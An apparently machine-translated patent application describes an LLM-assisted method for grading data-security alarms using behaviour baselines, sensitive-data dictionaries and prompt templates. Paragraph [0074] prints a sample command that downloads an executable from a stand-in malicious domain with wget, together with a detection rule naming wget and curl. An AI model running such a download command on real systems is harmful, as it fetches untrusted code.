Alarm research and judgment method and device, electronic equipment and computer readable storage medium

Abstract

The application discloses an alarm research and judgment method and device, electronic equipment and a computer readable storage medium. The method comprises the following steps: collecting message data, and extracting alarm information in the message data; performing intention recognition on the message data according to the alarm information to obtain a message intention; performing risk identification on the message data by using a static identification rule to obtain an initial risk level; processing the message data, the message intention and the initial risk level by using a large language model to obtain a target risk level after dynamic adjustment of the initial risk level; selecting an alarm research and judgment prompt word template according to the alarm information and the target risk level; and processing the alarm research and judgment prompt word and the alarm information by using the large language model to obtain an alarm research and judgment result corresponding to the alarm information. The technical scheme can realize more accurate data alarm research and judgment, and further effectively guarantee data security.

Description

Technical Field

[0001] This application relates to the field of data security technology, and in particular to an alarm analysis method, an alarm analysis device, an electronic device, and a computer-readable storage medium. Background Technology

[0002] Currently, data alert analysis systems still rely on UEBA (User and Entity Behavior Analytics) systems built around rule bases and machine learning models. These UEBA systems utilize fixed rules and database correlation information to analyze data and generate data risk alerts. However, with the diversification of attack patterns and the increasing number of attack methods, traditional data alert analysis systems are increasingly unable to meet the demands for high-quality alert analysis. Rigid rules and fixed patterns lead to drawbacks such as increased false positive rates and missed positives in data alert analysis. Furthermore, fixed rules and traditional machine learning models are too simplistic in identifying and judging sensitive data, exhibiting significant limitations and resulting in inaccurate sensitive data identification, which greatly impacts the accuracy of alert analysis.

[0003] Therefore, how to achieve more accurate data alarm analysis and thus effectively ensure data security is a problem that urgently needs to be solved by those skilled in the art. Summary of the Invention

[0004] The purpose of this application is to provide an alarm analysis method that can achieve more accurate data alarm analysis and further effectively ensure data security. Another purpose of this application is to provide an alarm analysis device, electronic device, and computer-readable storage medium, all of which have the above-mentioned beneficial effects.

[0005] Firstly, this application provides an alarm analysis method, including:

[0006] Collect message data and extract alarm information from the message data;

[0007] The intent of the message is obtained by performing intent identification on the message data based on the alarm information.

[0008] The message data is risk-identified using static identification rules to obtain an initial risk level.

[0009] The message data, message intent, and initial risk level are processed using a large language model to obtain a target risk level after dynamic adjustment of the initial risk level.

[0010] Select an alarm analysis prompt template based on the alarm information and the target risk level;

[0011] The alarm analysis prompts and alarm information are processed using a large language model to obtain the alarm analysis results corresponding to the alarm information.

[0012] Preferably, the intent of the message is determined by performing intent recognition on the message data based on the alarm information, including:

[0013] Determine the intent recognition prompt template;

[0014] The intent prompt word template, the alarm information, and the message data are processed using a large language model to obtain the message intent of the message data.

[0015] Preferably, determining the intent recognition prompt template includes:

[0016] When no template selection instruction is received, the general prompt word template will be used as the intent recognition prompt word template.

[0017] When the template selection instruction is received, the target industry attribute is determined according to the template selection instruction, and the customized prompt word template corresponding to the target industry attribute is used as the intent recognition prompt word template.

[0018] Preferably, the alarm analysis method further includes:

[0019] Determine the confidence level of the large language model output regarding the message intent;

[0020] When the confidence level is lower than a preset threshold, the message intent is corrected using the static identification rules.

[0021] Preferably, the message data is subjected to risk identification using static identification rules to obtain an initial risk level, including:

[0022] The message data is matched with a preset sensitive data dictionary to determine the target sensitive data that the message data matches in the preset sensitive data dictionary;

[0023] The risk level corresponding to the target sensitive data is used as the initial risk level.

[0024] Preferably, the message data, the message intent, and the initial risk level are processed using a large language model to obtain a target risk level after dynamically adjusting the initial risk level, including:

[0025] The message data, message intent, and initial risk level are processed using a large language model to obtain an adjusted risk level;

[0026] The target risk level is obtained by weighted fusion of the message intent, the initial risk level, and the adjusted risk level.

[0027] Preferably, selecting an alarm analysis prompt template based on the alarm information and the target risk level includes:

[0028] Determine the alarm type based on the alarm information;

[0029] Determine the target industry attribute based on the template selection instructions;

[0030] Select the alarm analysis prompt template based on the alarm type, the target risk level, and the target industry attribute.

[0031] Preferably, after collecting message data, the process further includes:

[0032] The message data is preprocessed to obtain preprocessed message data; the preprocessing includes one or more of the following: data decoding, data decompression, data reassembly, and fault tolerance processing for abnormal data.

[0033] The data format of the preprocessed message data is converted into a preset data format to obtain formatted message data.

[0034] Secondly, this application also discloses an alarm analysis device, comprising:

[0035] The extraction module is used to collect message data and extract alarm information from the message data;

[0036] The first identification module is used to identify the intent of the message data based on the alarm information to obtain the message intent;

[0037] The second identification module is used to identify risks in the message data using static identification rules to obtain an initial risk level.

[0038] The adjustment module is used to process the message data, the message intent, and the initial risk level using a large language model to obtain a target risk level after dynamically adjusting the initial risk level.

[0039] The selection module is used to select an alarm analysis prompt word template based on the alarm information and the target risk level.

[0040] The analysis module is used to process the alarm analysis prompts and alarm information using a large language model to obtain the alarm analysis result corresponding to the alarm information.

[0041] Thirdly, this application also discloses an electronic device, comprising:

[0042] Memory, used to store computer programs;

[0043] A processor, used to implement the steps of any of the alarm analysis methods described above when executing the computer program.

[0044] Fourthly, this application also discloses a computer-readable storage medium storing a computer program, which, when executed by a processor, implements the steps of any of the alarm judgment methods described above.

[0045] This application provides an alarm assessment method, comprising: collecting message data and extracting alarm information from the message data; performing intent recognition on the message data based on the alarm information to obtain the message intent; performing risk identification on the message data using static recognition rules to obtain an initial risk level; processing the message data, the message intent, and the initial risk level using a large language model to obtain a target risk level after dynamically adjusting the initial risk level; selecting an alarm assessment prompt word template based on the alarm information and the target risk level; and processing the alarm assessment prompt word and the alarm information using a large language model to obtain an alarm assessment result corresponding to the alarm information.

[0046] As can be seen, the alarm analysis method provided in this application, for message data requiring alarm analysis, in addition to using traditional static identification rules for initial risk identification, can further extract alarm information for intent identification. This allows for dynamic adjustment of the initial risk identification result based on static identification rules using a large language model combined with the intent identification result. In other words, it achieves dynamic risk classification of message data based on message semantics. On this basis, the alarm information of the message data and the dynamically adjusted risk level are combined to select an alarm analysis prompt word template. Thus, the large language model combined with prompt engineering technology can be used to analyze and process alarm information in message data, greatly improving the accuracy of alarm analysis results and effectively ensuring data security.

[0047] The alarm analysis device, electronic device, and computer-readable storage medium provided in this application all have the aforementioned beneficial effects, which will not be elaborated further here. Attached Figure Description

[0048] To more clearly illustrate the technical solutions in the prior art and the embodiments of this application, the accompanying drawings used in the description of the prior art and the embodiments of this application will be briefly introduced below. Of course, the accompanying drawings described below with respect to the embodiments of this application are only a part of the embodiments in this application. For those skilled in the art, other drawings can be obtained based on the provided drawings without creative effort, and such other drawings also fall within the protection scope of this application.

[0049] Figure 1 A flowchart illustrating an alarm analysis method provided in this application;

[0050] Figure 2 This is a schematic diagram of the structure of an alarm analysis system provided in this application;

[0051] Figure 3 This is a schematic diagram of the structure of an alarm analysis device provided in this application;

[0052] Figure 4 This is a schematic diagram of the structure of an electronic device provided in this application. Detailed Implementation

[0053] The core of this application is to provide an alarm analysis method that can achieve more accurate data alarm analysis and further effectively ensure data security. Another core aspect of this application is to provide an alarm analysis device, system, and computer-readable storage medium, which also have the above-mentioned beneficial effects.

[0054] To provide a clearer and more complete description of the technical solutions in the embodiments of this application, the technical solutions in the embodiments of this application will be described below with reference to the accompanying drawings. Obviously, the described embodiments are only a part of the embodiments of this application, and not all of them. All other embodiments obtained by those skilled in the art based on the embodiments of this application without creative effort are within the scope of protection of this application.

[0055] This application provides an alarm analysis method.

[0056] Please refer to Figure 1 , Figure 1 This is a flowchart illustrating an alarm analysis method provided in this application. The alarm analysis method may include the following steps S101 to S106.

[0057] S101: Collect message data and extract alarm information from the message data.

[0058] This step aims to collect message data and extract alarm information. The message data can include request messages and their corresponding response messages, such as HTTP request messages and their corresponding HTTP response messages. Furthermore, parsing the message data reveals its internal data information, from which alarm information can be extracted.

[0059] In one embodiment of this application, extracting alarm information from message data may include: constructing a normal behavior baseline model using historical message data; and performing alarm behavior analysis on the message data using the normal behavior baseline model to obtain alarm information.

[0060] The alarm information identification method provided in this application embodiment can be implemented based on a UEBA system. It can pre-aggregate historical packet data and combine it with machine learning algorithms (such as the Isolation Forest algorithm, LSTM time-series prediction algorithm, etc.) to establish a normal behavior baseline model for extracting alarm information from packet data. In the specific implementation process, machine learning algorithms can be used in advance to model historical behavior data (such as login time, access frequency, data download volume, etc.) extracted from historical packet data to establish a normal behavior baseline model for users / entities. Furthermore, feature extraction (such as IP geographical location, access time, data volume, API call frequency, etc.) is performed on the real-time collected packet data, and the extracted data is compared with the normal behavior baseline model. By calculating the behavior deviation, abnormal data, i.e., alarm information, can be identified. For example, when a user is detected downloading / exporting a large amount of sensitive data (such as a customer information file exceeding 1GB) via API or client tools outside of working hours (such as early morning), an alarm message "Data leakage risk" can be detected; when an IP address is detected attempting to log in to multiple different user accounts within a short period of time (such as hundreds of failed login attempts), and the username and password combination conforms to common weak password patterns, an alarm message "Credential stuffing attack" can be detected; when an administrator account is detected performing high-risk operations (such as batch deleting database records, deleting code repositories, or modifying system configurations) during off-peak authorized hours on weekdays (3 AM) or non-authorized hours (such as non-working days), an alarm message "Abnormal operation by high-privilege account" can be detected; when a user's work pattern changes significantly (such as a user who usually only accesses the system on weekdays suddenly logging in continuously for several hours on non-working days), an alarm message "User behavior pattern deviation" can be detected.

[0061] In addition, the alarm analysis method may also include: preprocessing the message data to obtain preprocessed message data; the preprocessing includes one or more of the following: data decoding, data decompression, data reassembly, and fault tolerance processing of abnormal data; and converting the data format of the preprocessed message data into a preset data format to obtain formatted message data.

[0062] Data preprocessing aims to clean and preliminarily process the raw message data to ensure its integrity and usability. In the specific implementation process, the preprocessing process of message data can include: (1) Data decoding: Automatically identify or decode the content of the request body, response body and other contents that may contain non-ASCII characters according to the message header information (such as charset in Content-Type), convert them into a unified internal character encoding (such as UTF-8) to solve the garbled character problem; (2) Data decompression: Identify the Content-Encoding header information (such as gzip, deflate, br, etc.), and decompress the corresponding compressed message body to restore the original data; (3) Data reassembly: Analyze the response body of the block transmission encoding and reassemble it into complete data content; (4) Session reassembly: For collection tasks that need to maintain the session, maintain its session state (such as Cookies) and associate multiple request / response messages of the same session; (5) Abnormal data fault tolerance: Regarding the abnormalities that may occur during the message data parsing process, such as message format errors, incomplete TCP streams, etc., error logs can be recorded and fault tolerance can be performed as much as possible to avoid the system being interrupted due to a single data abnormality.

[0063] The data format conversion process aims to transform pre-processed, relatively raw structured or unstructured data into standardized, easily processed key-value pairs. In the specific implementation process, the format conversion process of preprocessed data can include: (1) Message header information formatting: convert the request header and response header (multi-line key-value pairs) into a dictionary or map object; where each header field name (such as User-Agent, Content-Type) is used as a key and the corresponding field value is used as a value. For cases where the same header field appears multiple times (such as Set-Cookie), the value can be processed as an array or list; (2) Message body information formatting: for standard query strings / form data, for request bodies of type application / x-www-form-urlencoded, it can be parsed into a key-value pair dictionary (for example, name=Alice&age=25 is parsed into {"name": "Alice", "age": "25"}); for JSON data, for request bodies or response bodies of type application / json, it can be parsed into a nested key-value pair structure (such as a JSON object); for XML data, for data of type application / xml or text / xml, the parser can be configured to convert it into a hierarchical key-value pair structure similar to JSON.

[0064] Understandably, through the aforementioned preprocessing and format conversion, the raw, messy message data can be transformed into standardized, structured data objects (usually nested key-value pair collections). This unified data format greatly facilitates subsequent data processing and improves the efficiency and reliability of the entire data processing workflow.

[0065] S102: Based on the alarm information, perform intent recognition on the message data to obtain the message intent.

[0066] This step aims to achieve intent recognition of message data by combining alarm information with the message data. It should be noted that intent recognition is a key cognitive technology in data security protection systems. Its core objective is to accurately identify the operational intent of users or systems through natural language processing and behavioral analysis technologies.

[0067] In one embodiment of this application, the intent of the message data is identified based on the alarm information to obtain the message intent, including: determining the intent identification prompt template; and processing the intent prompt template, alarm information, and message data using a large language model to obtain the message intent of the message data.

[0068] In this embodiment, the large language model technology is combined with prompting engineering technology to achieve intent recognition of message data. Specifically, a corresponding intent recognition prompt template can be obtained first. This intent recognition prompt template is a pre-set prompt template, which can be selected from multiple prompt templates according to actual needs, or a general prompt template can be used directly. Thus, the selected intent recognition prompt template, alarm information, and message data can be input into the large language model for processing. The large language model can then perform intent recognition of the message data based on the intent recognition prompt template and alarm information. At this time, the output result of the model is the message intent of the message data.

[0069] The determination of the intent recognition prompt template can include: when no template selection instruction is received, using a general prompt template as the intent recognition prompt template; when a template selection instruction is received, determining the target industry attribute based on the template selection instruction, and using the customized prompt template corresponding to the target industry attribute as the intent recognition prompt template. In other words, the intent recognition Prompt template can include a general Prompt template and an industry-customized Prompt template. In specific implementations, users can choose the corresponding industry-customized Prompt template for intent recognition of message data according to their own industry needs, or they can directly use the general Prompt template for intent recognition of message data. For example, a general Prompt template could be "Please analyze the intent of the following API requests and output the intent category (such as data query, data export, permission modification) and confidence level"; a customized Prompt template for the financial industry could be "Please identify whether the following API requests involve sensitive customer data operations (such as account balance query, transaction record export), and output the intent category and confidence level."

[0070] Furthermore, the alarm analysis method may also include: determining the confidence level of the message intent output by the large language model; and correcting the message intent using static recognition rules when the confidence level is lower than a preset threshold. It is understood that when message intent is identified based on the large language model, the output identification result may include the message intent and the corresponding confidence level. The confidence level represents the credibility of the corresponding message intent. When the confidence level is low (below the preset threshold), it indicates that the corresponding message intent is unreliable. Therefore, static recognition rules can be used to correct the message intent to obtain a more accurate message intent for subsequent alarm analysis, thereby further improving the accuracy of the alarm analysis results. Here, the static recognition rules are the same static recognition rules used in the subsequent S103 step to achieve initial risk identification of the message data.

[0071] S103: Use static identification rules to identify risks in message data and obtain an initial risk level.

[0072] This step aims to achieve initial risk identification of message data based on static identification rules, that is, data risk identification based on fixed rules. In static identification rules, a mapping relationship between different risk data and risk levels can be set, thereby achieving initial risk level identification by matching message data.

[0073] Based on this, in one embodiment of this application, risk identification of message data using static identification rules to obtain an initial risk level may include: matching the message data with a preset sensitive data dictionary to determine the target sensitive data matched by the message data in the preset sensitive data dictionary; and using the risk level corresponding to the target sensitive data as the initial risk level. Here, the preset sensitive data dictionary represents the correspondence between sensitive data and sensitivity levels, as described above regarding the mapping relationship between risk data and risk levels. Sensitive data may include specified data types, field names, etc., and the corresponding sensitivity levels may be categorized as "public," "internal," "sensitive," "highly sensitive," etc. Therefore, the sensitivity level corresponding to the sensitive data matched by the message data in the preset sensitive data dictionary is the initial risk level of the message data.

[0074] Furthermore, the static identification rules described above can include not only the mapping relationship between different risk data and risk levels, but also a mapping relationship about risk types, forming a mapping relationship of "risk data - risk type - risk level". Therefore, the message intent correction in S102 can be achieved based on these static identification rules. Accordingly, the above-mentioned correction of message intent using static identification rules can include: determining the target message data corresponding to the message intent in the message data; matching the target message data with the static identification rules to determine the target risk data matched by the target message data; and using the target risk type corresponding to the target risk data as the corrected message intent. For example, based on the message data "wget ​​http: / / malicious.com / tool.exe -O / tmp / a.exe", the intent recognition output of the large language model is "software update, confidence 0.6" (because the large language model may pay more attention to the common command wget and ignore malicious domains). At this time, the confidence is lower than the preset threshold of 0.7, so it is necessary to call the static recognition rule. Suppose that the static recognition rule contains a rule: if the command contains keywords such as "download", "wget", or "curl", and the target domain exists in the "malicious domain list", then it is forcibly marked as "malicious software download". Since the keyword "wget" can be detected and the internal threat intelligence database is queried and malicious.com is found to be a known malicious domain, the final message intent correction result is "malicious software download", and the confidence is increased to 0.98.

[0075] S104: Use a large language model to process message data, message intent, and initial risk level to obtain the target risk level after dynamically adjusting the initial risk level.

[0076] This step aims to dynamically adjust the initial risk level of message data based on a large language model. Specifically, the message data, its intent, and the initial risk level are input into the large language model for processing. The large language model then dynamically adjusts the initial risk level based on the message data and its intent to obtain the target risk level of the message data. This allows for dynamic risk classification of the message data based on its semantics.

[0077] In the process of dynamically classifying message data based on a large language model, the risk level can be dynamically adjusted according to the message intent and user permissions. Taking "data export" as an example, when an administrator exports data, the risk level can be downgraded from "highly sensitive" to "internal"; when a regular user exports data outside of working hours, the risk level can be upgraded from "sensitive" to "highly sensitive". Alternatively, the risk level can be dynamically adjusted by identifying combinations of multiple fields. For example, if "name", "phone", and "ID" appear simultaneously in the message data, the risk level can be upgraded from "sensitive" to "highly sensitive"; if "location" and "device_id" are detected to co-occur, it can be marked as "location tracking risk" and the risk level upgraded from "sensitive" to "highly sensitive". Furthermore, the risk level can be dynamically adjusted by identifying de-identified sensitive information. For example, "Zhang San's contact information is 138****1234" can be downgraded from "sensitive" to "non-sensitive". Furthermore, in the process of dynamically classifying message data based on the large language model, engineering technology can be integrated, and customized prompt templates for the corresponding industries can be added to the large language model to adjust the risk level of message data. For example, in the medical industry, the risk level of "medical record number" can be forcibly set to "highly sensitive".

[0078] In one embodiment of this application, a large language model is used to process message data, message intent, and initial risk level to obtain a target risk level after dynamically adjusting the initial risk level. This may include: processing message data, message intent, and initial risk level using a large language model to obtain an adjusted risk level; and weightedly fusing the message intent, initial risk level, and adjusted risk level to obtain the target risk level. It is understood that by weightedly fusing the message intent, the initial risk level based on static recognition rules, and the adjusted risk level based on the large language model, a more accurate risk classification of message data can be achieved, thereby contributing to more accurate alarm analysis. Of course, the specific weight allocation can be set according to actual needs, and this application does not limit it in this regard.

[0079] S105: Select the alarm analysis prompt template based on the alarm information and target risk level.

[0080] This step aims to select an alarm analysis prompt template to facilitate alarm analysis of message data in conjunction with the prompting process. The alarm analysis prompt template can be selected based on the alarm information and target risk level of the message data. All alarm analysis prompt templates can be pre-created and stored in the template library.

[0081] In one embodiment of this application, selecting an alarm assessment prompt template based on alarm information and target risk level may include: determining the alarm type based on the alarm information; determining the target industry attribute based on the template selection instruction; and selecting an alarm assessment prompt template based on the alarm type, target risk level, and target industry attribute. For example, the most suitable alarm assessment prompt template can be matched from a template library based on the alarm type (such as "high-frequency download," "unauthorized access," etc.), target risk level (such as "highly sensitive"), and industry attribute (such as the financial industry or the medical industry).

[0082] S106: Use a large language model to process alarm judgment prompts and alarm information to obtain alarm judgment results corresponding to the alarm information.

[0083] This step aims to achieve the final assessment of alarm information based on a large language model combined with prompting engineering. In one possible implementation, the alarm assessment results may include, but are not limited to, assessment conclusions (e.g., "High risk: User A downloaded 100,000 pieces of customer data outside of working hours; it is recommended to freeze the account and initiate an internal investigation"), assessment basis (e.g., "According to a certain legal provision, unauthorized data export is a serious violation"), and handling recommendations (e.g., "Immediately block API calls and notify the legal department to intervene"), ensuring the completeness and comprehensiveness of the alarm assessment results and facilitating subsequent processing.

[0084] It should be noted that the large language models used in the embodiments of this application to implement the alarm analysis method, such as the large language model for implementing target risk level identification, the large language model for implementing alarm analysis result identification, and the large language model for implementing message intent identification, can be the same model or different models, and this application does not limit them.

[0085] As can be seen, the alarm analysis method provided in this application, for message data requiring alarm analysis, in addition to using traditional static identification rules for initial risk identification, can further extract alarm information for intent identification. This allows for dynamic adjustment of the initial risk identification result based on static identification rules using a large language model combined with the intent identification result. In other words, it achieves dynamic risk rating of message data based on message semantics. On this basis, the alarm information of the message data and the dynamically adjusted risk level are combined to select an alarm analysis prompt template. Thus, the large language model combined with prompt engineering technology can be used to analyze and process alarm information in message data, greatly improving the accuracy of alarm analysis results and effectively ensuring data security.

[0086] This application provides another alarm analysis method.

[0087] First, please refer to Figure 2 , Figure 2 This is a schematic diagram of the structure of an alarm analysis system provided in this application. The alarm analysis system mainly includes a data acquisition engine, a UEBA alarm engine, an intent recognition engine, a classification and grading engine, a dynamic rating engine, and a model analysis engine. The functions of each system engine are implemented as follows:

[0088] 1. Data Acquisition Engine: Used to acquire and parse message data, and to preprocess and format convert the parsed message data results.

[0089] 2. UEBA Alarm Engine: Used to identify alarms in the output data of the data acquisition engine by utilizing normal business and behavior baselines (normal behavior baseline model) to obtain alarm information in the message data.

[0090] 3. Intent Recognition Engine: This engine uses a large language model in conjunction with the Prompt project to perform intent recognition on the alarm information output by the UEBA alarm engine, thereby obtaining the message intent of the message data.

[0091] 4. Data Classification and Grading Engine: Used to perform preliminary sensitivity level classification of message data using static recognition rules, that is, to achieve initial risk level identification of message data.

[0092] 5. Dynamic risk assessment engine: This engine uses a large language model to comprehensively analyze and process the output results of the data acquisition engine, UEBA alarm engine, intent recognition engine, and data classification and grading engine to dynamically adjust the initial risk level of the message data and obtain the final sensitivity level (target risk level) of the message data.

[0093] 6. Model Analysis Engine: This engine is used to dynamically select a template from the Prompt template library by referring to the output results of the UEBA alarm engine and dynamic rating engine. It selects the most suitable alarm analysis Prompt template from the template library and calls the large language model for processing to generate the final alarm analysis result.

[0094] Furthermore, based on Figure 2 The alarm analysis system shown in this application embodiment implements the alarm analysis method as follows:

[0095] 1. Call the data acquisition engine to collect message data and parse it to obtain the corresponding request header message data, request body message data, response header message data, and response body message data. Further, perform data preprocessing and format conversion on the parsed message data to facilitate subsequent data processing.

[0096] 2. Call the UEBA alarm engine and use the pre-established normal business and behavior baseline (normal behavior baseline model) to identify and process the message data information output by the data acquisition engine in order to generate preliminary abnormal alarms (alarm information).

[0097] 3. Call the intent recognition engine, based on the natural language processing capabilities of the large language model, and combine the Prompt project to perform intent recognition on the alarm information output by the UEBA alarm engine to obtain the message intent.

[0098] The message intent recognition Prompt template design can include general templates and industry-customized templates, for example:

[0099] (1) General template: "Please analyze the intent of the following API requests and output the intent category (such as data query, data export, permission modification) and confidence level";

[0100] (2) Industry template: For the financial industry, design "Please identify whether the API request involves sensitive customer data operations (such as account balance inquiry, transaction record export), and output the intent category and confidence level".

[0101] 4. Call the data classification and grading engine and use pre-created static recognition rules to classify and grade the message data information output by the data acquisition engine. In the process, the message data information can be matched with a predefined sensitive data dictionary to achieve sensitivity level classification, such as "public", "internal", "sensitive", "highly sensitive" and other sensitivity levels (initial risk level).

[0102] 5. Invoke the dynamic rating engine and leverage the context-aware capabilities of the large model to adjust the initial sensitivity level, including but not limited to:

[0103] (1) Adjust the risk level dynamically according to the message intent and user permissions: Taking “data export” as an example, when an administrator exports data, the risk level can be reduced from “highly sensitive” to “internal”; when an ordinary user exports data outside of working hours, the risk level can be increased from “sensitive” to “highly sensitive”.

[0104] (2) Dynamically adjust the risk level by identifying combinations of multiple fields: For example, if "name", "phone" and "ID" appear in the message data at the same time, the risk level can be upgraded from "sensitive" to "highly sensitive"; if "location" and "device_id" are detected to co-occur, it can be marked as "location tracking risk" and the risk level can be upgraded from "sensitive" to "highly sensitive";

[0105] (3) Dynamically adjust the risk level by identifying sensitive information that has been desensitized: For example, "Zhang San's contact information is 138****1234", the risk level can be downgraded from "sensitive" to "non-sensitive".

[0106] (4) Integrate the engineering technology of the prompts and add the customized prompt templates of the corresponding industries to the big language model to realize the adjustment of the risk level of message data: For example, in the medical industry, the risk level of "medical record number" can be forcibly set to "highly sensitive".

[0107] Furthermore, the outputs of the intent recognition engine, the classification decomposition engine, and the large language model in the dynamic rating engine can be weighted and fused to generate the final sensitivity level (i.e., the target risk level).

[0108] 6. The model analysis engine is invoked, referencing the output results of the UEBA alarm engine (e.g., "high-frequency download," "unauthorized access") and the dynamic rating engine (e.g., "highly sensitive," "public"), and considering industry attributes (e.g., finance, healthcare). A dynamic template is selected from a pre-built Prompt template library to match the most suitable alarm analysis Prompt template. The large language model is then used for processing to generate the final alarm analysis result. This result may include, but is not limited to: analysis conclusions (e.g., "High risk: User A downloaded 100,000 customer data entries outside of working hours; account freezing and internal investigation recommended"), analysis basis (e.g., "According to a certain legal provision, unauthorized data export constitutes a serious violation"), and handling recommendations (e.g., "Immediately block API calls and notify the legal department to intervene").

[0109] The Prompt template library stores Prompt templates for various industries and scenarios. For example, for the financial industry, a Prompt template can be created that reads, "Give a compliance analysis report and handling recommendations based on the following alert information (timestamp, user ID, anomaly type) and data sensitivity level (highly sensitive)." For the healthcare industry, a Prompt template can be created that reads, "Analyze the legal risks of this data breach in accordance with HIPAA regulations and propose a data isolation and tracing solution."

[0110] As can be seen, the alarm analysis method provided in this application, for message data requiring alarm analysis, in addition to using traditional static identification rules for initial risk identification, can further extract alarm information for intent identification. This allows for dynamic adjustment of the initial risk identification result based on static identification rules using a large language model combined with the intent identification result. In other words, it achieves dynamic risk rating of message data based on message semantics. On this basis, the alarm information of the message data and the dynamically adjusted risk level are combined to select an alarm analysis prompt template. Thus, the large language model combined with prompt engineering technology can be used to analyze and process alarm information in message data, greatly improving the accuracy of alarm analysis results and effectively ensuring data security.

[0111] This application provides an alarm analysis device.

[0112] Please refer to Figure 3 , Figure 3 This is a schematic diagram of an alarm analysis device provided in this application. The alarm analysis device may include:

[0113] Extraction module 1 is used to collect message data and extract alarm information from the message data;

[0114] The first identification module 2 is used to identify the intent of the message data based on the alarm information to obtain the message intent;

[0115] The second identification module 3 is used to identify risks in message data using static identification rules to obtain an initial risk level.

[0116] Adjustment module 4 is used to process message data, message intent, and initial risk level using a large language model to obtain the target risk level after dynamically adjusting the initial risk level.

[0117] Select module 5 to choose an alarm analysis prompt template based on alarm information and target risk level;

[0118] The analysis module 6 is used to process alarm analysis prompts and alarm information using a large language model to obtain alarm analysis results corresponding to the alarm information.

[0119] As can be seen, the alarm analysis device provided in this application, for message data that needs alarm analysis, in addition to using traditional static identification rules for initial risk identification, can further extract alarm information for intent identification. This allows for dynamic adjustment of the initial risk identification result based on static identification rules using a large language model combined with the intent identification result. In other words, it achieves dynamic risk rating of message data based on message semantics. On this basis, it integrates the alarm information of the message data with the dynamically adjusted risk level to select an alarm analysis prompt template. Thus, it utilizes a large language model combined with prompt engineering technology to analyze and process alarm information in message data, greatly improving the accuracy of alarm analysis results and effectively ensuring data security.

[0120] In one embodiment of this application, the first identification module 2 may include:

[0121] The determining unit is used to determine the intent recognition prompt word template;

[0122] The recognition unit is used to process the intent prompt word template, alarm information, and message data using a large language model to obtain the message intent of the message data.

[0123] In one embodiment of this application, the determining unit can be specifically used to use a general prompt word template as an intent recognition prompt word template when no template selection instruction is received; and when a template selection instruction is received, to determine the target industry attribute according to the template selection instruction, and to use the customized prompt word template corresponding to the target industry attribute as the intent recognition prompt word template.

[0124] In one embodiment of this application, the first identification module 2 may further include a correction unit for determining the confidence level of the message intent output by the large language model; when the confidence level is lower than a preset threshold, the message intent is corrected using static identification rules.

[0125] In one embodiment of this application, the second identification module 3 can be specifically used to match the message data with a preset sensitive data dictionary to determine the target sensitive data that the message data matches in the preset sensitive data dictionary; and to use the risk level corresponding to the target sensitive data as the initial risk level.

[0126] In one embodiment of this application, the adjustment module 4 can be specifically used to process the message data, message intent, and initial risk level using a large language model to obtain an adjusted risk level; and to perform weighted fusion of the message intent, initial risk level, and adjusted risk level to obtain a target risk level.

[0127] In one embodiment of this application, the selection module 5 can be specifically used to determine the alarm type based on the alarm information; determine the target industry attribute based on the template selection instruction; and select the alarm analysis prompt word template based on the alarm type, target risk level, and target industry attribute.

[0128] In one embodiment of this application, the extraction module 1 can also be used to preprocess the message data after collecting the message data to obtain preprocessed message data; the preprocessing includes one or more of data decoding processing, data decompression processing, data reassembly processing, and abnormal data fault tolerance processing; the data format of the preprocessed message data is converted into a preset data format to obtain formatted message data.

[0129] For a description of the apparatus provided in the embodiments of this application, please refer to the above method embodiments; further details will not be repeated here.

[0130] This application provides an electronic device.

[0131] Please refer to Figure 4 , Figure 4 This application provides a schematic diagram of the structure of an electronic device, which may include:

[0132] Memory 11 is used to store computer programs;

[0133] The processor 10 is used to execute computer programs and implement the steps of any of the alarm analysis methods described above.

[0134] like Figure 4 The diagram shows the structural composition of an electronic device, which may include a processor 10, a memory 11, a communication interface 12, and a communication bus 13. The processor 10, memory 11, and communication interface 12 all communicate with each other through the communication bus 13.

[0135] In this embodiment, the processor 10 may be a central processing unit (CPU), an application-specific integrated circuit, a digital signal processor, a field-programmable gate array, or other programmable logic devices.

[0136] The processor 10 can call the program stored in the memory 11. Specifically, the processor 10 can execute the operations in the embodiment of the alarm analysis method.

[0137] The memory 11 is used to store one or more programs. The programs may include program code, which includes computer operation instructions. In this embodiment, the memory 11 stores at least a program for implementing the following functions:

[0138] Collect message data and extract alarm information from it; perform intent recognition on the message data based on the alarm information to obtain the message intent; use static recognition rules to identify risks in the message data to obtain an initial risk level; use a large language model to process the message data, message intent, and initial risk level to obtain a target risk level after dynamically adjusting the initial risk level; select an alarm analysis prompt word template based on the alarm information and target risk level; use a large language model to process the alarm analysis prompt words and alarm information to obtain the alarm analysis result corresponding to the alarm information.

[0139] In one possible implementation, the memory 11 may include a program storage area and a data storage area, wherein the program storage area may store the operating system and applications required for at least one function; and the data storage area may store data created during use.

[0140] In addition, memory 11 may include high-speed random access memory, and may also include non-volatile memory, such as at least one disk storage device or other volatile solid-state storage device.

[0141] Communication interface 12 can be an interface for the communication module, used to connect with other devices or systems.

[0142] Of course, it should be noted that, Figure 4 The structure shown does not constitute a limitation on the electronic device in the embodiments of this application. In practical applications, the electronic device may include more than Figure 4 More or fewer components as shown, or combinations of certain components.

[0143] This application provides a computer-readable storage medium storing a computer program. When the computer program is executed by a processor, it can implement the steps of any of the alarm judgment methods described above.

[0144] The computer-readable storage medium may include various media capable of storing program code, such as USB flash drives, portable hard drives, read-only memory (ROM), random access memory (RAM), magnetic disks, or optical disks.

[0145] For a description of the computer-readable storage medium provided in this application, please refer to the above method embodiments; further details will not be repeated here.

[0146] The various embodiments in this specification are described in a progressive manner, with each embodiment focusing on its differences from other embodiments. Similar or identical parts between embodiments can be referred to interchangeably. For the apparatus disclosed in the embodiments, since it corresponds to the method disclosed in the embodiments, the description is relatively simple; relevant parts can be referred to the method section.

[0147] Those skilled in the art will further recognize that the units and algorithm steps of the various examples described in conjunction with the embodiments disclosed herein can be implemented in electronic hardware, computer software, or a combination of both. To clearly illustrate the interchangeability of hardware and software, the components and steps of the various examples have been generally described in terms of functionality in the foregoing description. Whether these functions are implemented in hardware or software depends on the specific application and design constraints of the technical solution. Those skilled in the art can use different methods to implement the described functions for each specific application, but such implementation should not be considered beyond the scope of this application.

[0148] The steps of the methods or algorithms described in conjunction with the embodiments disclosed herein can be implemented directly by hardware, a software module executed by a processor, or a combination of both. The software module can be located in random access memory (RAM), main memory, read-only memory (ROM), electrically programmable ROM, electrically erasable programmable ROM, registers, hard disk, removable disk, CD-ROM, or any other form of storage medium known in the art.

